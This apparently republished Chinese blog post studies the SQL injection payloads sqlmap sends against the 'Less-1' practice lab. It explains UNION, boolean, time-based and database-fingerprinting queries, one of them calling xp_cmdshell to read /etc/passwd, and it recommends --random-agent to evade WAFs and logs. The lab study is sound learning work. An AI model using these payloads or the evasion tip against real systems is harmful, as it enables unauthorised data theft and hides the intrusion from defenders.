sqlmap--分析---less-1

wireshark、sqlmap

sqlmap--分析---less-1_第1张图片
为了避免被 waf 或者日志里面记录,我们一般可以添加一个 --random-agent。在我们的服务器日志也可以看到大量的请求。很容易识别出是sqlmap在扫描。

使用-technique参数来指定我们的注入分类。一般sqlmap有以下几种注入:

--technique=TECH..  SQL injection techniques to use (default "BEUSTQ")
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
Q: inline_query SQL injection(内联注入)

第一次payload:

id=1&zNXX=2070 AND 1=1 UNION ALL SELECT 1,NULL,'',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#

1、&预算符是一个位运算符。作用是- - -按位与。

位运算符是在二进制数上进行计算的运算符。位运算会先将操作数变成二进制数,进行位运算。然后再将计算结果从二进制数变回十进制数。

&的优先级高于=高于and,所以id=1&zNXX=2070 and 1=1返回的是0。目的是构造id=0。进而回显union之后的数据。

2、

WHERE 2>1--/**/;

WHERE 2>1:

sqlmap--分析---less-1_第2张图片--/**/;:

直接闭合掉了后面的语句。

'':

直接在浏览器弹框。

最终payload是正常回显的。
sqlmap--分析---less-1_第3张图片

第三次和第四次

id=1)(())'()",'zSvdXw<'">kDnSlo

页面都是报错,应该是在判断id参数是否加了单引号。之后一直随机发送payload,比如:

) AND 4574=8332 AND (8168=8168

第n次

1;SELECT SLEEP(5)#

最后使用1 AND (SELECT 4436 FROM (SELECT(SLEEP(5)))iQPj)成功回显。

这里利用了一个字查询。也可以使用

select * from users where id =1 and (select 2 where (sleep(4)));

什么叫字查询呢?

在另一个查询(外部查询)中嵌套另一个查询语句(内部查询),并使用内部查询的结果值作为外部查询条件。

比如,在一个表中:


sqlmap--分析---less-1_第4张图片

这里一定要注意派生出来的表(也就是说select password产生的表),一定

要给他一个名字,随机的也可以。比如这里的hh。

第n次之后

知道了id参数是如何包装的之后:

获取列数:

1 ORDER BY 1-- -

union查询:

1 UNION ALL SELECT NULL,NULL,CONCAT(0x7170717871,0x6d446170474f444b796c666f584d62645976564548746c4f436a7175666374616d766c647049534a,0x716b716a71)-- -

注意这里并没有id=-1,所以依旧会显示出正常数据不会显示出union之后的数据。(十六进制是一组字符串)

开始回显数据

-4357 UNION ALL SELECT NULL,NULL,CONCAT(0x7170717871,0x6852424c666e715875726a4f664b786f744c42506866416f5a64524b77457471774e56555759446c,0x716b716a71)-- -

使用when else

-7667 UNION ALL SELECT NULL,NULL,CONCAT(0x7170717871,(CASE WHEN (9497= 9497) THEN 1 ELSE 0 END),0x716b716a71)-- -

开始判断数据库:

-3421 UNION ALL SELECT NULL,NULL,CONCAT(0x7170717871,(CASE WHEN (VERSION() LIKE 0x254d61726961444225) THEN 1 ELSE 0 END),0x716b716a71)-- -

0x254d61726961444225 = %MariaDB%

-9760 UNION ALL SELECT NULL,NULL,CONCAT(0x7170717871,(CASE WHEN (VERSION() LIKE 0x255469444225) THEN 1 ELSE 0 END),0x716b716a71)-- -

0x255469444225 = %TiDB%

-6913 UNION ALL SELECT NULL,NULL,CONCAT(0x7170717871,(CASE WHEN (@@VERSION_COMMENT LIKE 0x256472697a7a6c6525) THEN 1 ELSE 0 END),0x716b716a71)-- -

0x256472697a7a6c6525 = %drizzle%

0x25506572636f6e6125 = %Percona%

-4713 UNION ALL SELECT NULL,NULL,CONCAT(0x7170717871,(CASE WHEN (AURORA_VERSION() LIKE 0x25) THEN 1 ELSE 0 END),0x716b716a71)-- -

判断数据库长度:

-7788 UNION ALL SELECT NULL,NULL,CONCAT(0x7170717871,IFNULL(CAST(COUNT(schema_name) AS NCHAR),0x20),0x716b716a71) FROM INFORMATION_SCHEMA.SCHEMATA-- -

爆出数据库名:

-4942 UNION ALL SELECT NULL,NULL,(SELECT CONCAT(0x7170717871,IFNULL(CAST(schema_name AS NCHAR),0x20),0x716b716a71) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1)-- -

第二个数据库

-8109 UNION ALL SELECT NULL,NULL,(SELECT CONCAT(0x7170717871,IFNULL(CAST(schema_name AS NCHAR),0x20),0x716b716a71) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1)-- -

总结

1、学会利用&符号。

利用&符号构造出0或者1。注意:在浏览器中要使用%26。


2、关于select语句

select from +表名字

select where +查询条件

如果from后面再有一个select要加括号。

sqlmap--分析---less-1_第5张图片

你可能感兴趣的:(sql)